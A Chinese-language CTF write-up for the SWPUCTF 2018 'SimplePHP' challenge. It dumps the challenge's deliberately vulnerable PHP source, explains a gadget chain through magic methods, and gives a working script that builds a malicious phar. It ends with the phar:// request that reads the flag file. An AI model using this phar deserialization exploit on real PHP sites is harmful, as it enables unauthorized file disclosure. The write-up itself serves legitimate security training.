[SWPUCTF 2018]SimplePHP.md
/index.php
/file.php?file=
/upload_file.php
获取源码
/file.php?file=index.php
<?php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
/file.php?file=base.php
<?php
session_start();
?>
<!-- ... -->
<!--flag is in f1ag.php-->
/file.php?file=file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
/file.php?file=function.php
222.90.67.205
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
/file.php?file=class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
/file.php?file=upload_file.php
222.90.67.205
<?php
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center">
<h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style>
p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</div>
</script>
</body>
</html>
/file.php?file=f1ag.php
hacker!
思路
class.php中有注释明示使用phar协议，同时可以通过upload_file.php上传文件，于是朝反序列化的方向思考
Test类有一个file_get方法，目标是调用到Test.file_get('f1ag.php')
通过Test.get('<key>')调用Test.file_get('f1ag.php')，前提是Test.params中包含键为<key>，值为f1ag.php的项
通过Test.__get('<key>')魔术方法可以调用到Test.get('<key>')
class.php中Show.__toString()魔术方法存在访问未定义成员的可能，通过令Show.str['str']为Test的一个实例，<key>为source来将f1ag.php内容编码后读取到contents局部变量中
C1e4r.__destruct魔术方法存在调用test的__toString()方法的可能，将C1e4r.str设为前面构造的Show的实例即可
生成phar
<?php
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array('source' => '/var/www/html/f1ag.php');
}
}
class Show
{
public $source;
public $str;
public function __construct()
{
$this->str = array('str' => new Test());
}
}
class C1e4r
{
public $test;
public $str;
public function __construct()
{
$this->str = new Show();
}
}
$payload = new C1e4r();
@unlink('phar.phar');
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($payload);
$phar->addFromString("abc.txt", "qaq");
$phar->stopBuffering();
计算文件名
<?php
echo md5('phar.jpg' . '10.244.80.206') . '.jpg'
42574e9d70ad4a54c530fd9a294a46dc.jpg
phar协议读取
/file.php?file=phar://upload/42574e9d70ad4a54c530fd9a294a46dc.jpg
#Web #PHP #phar #反序列化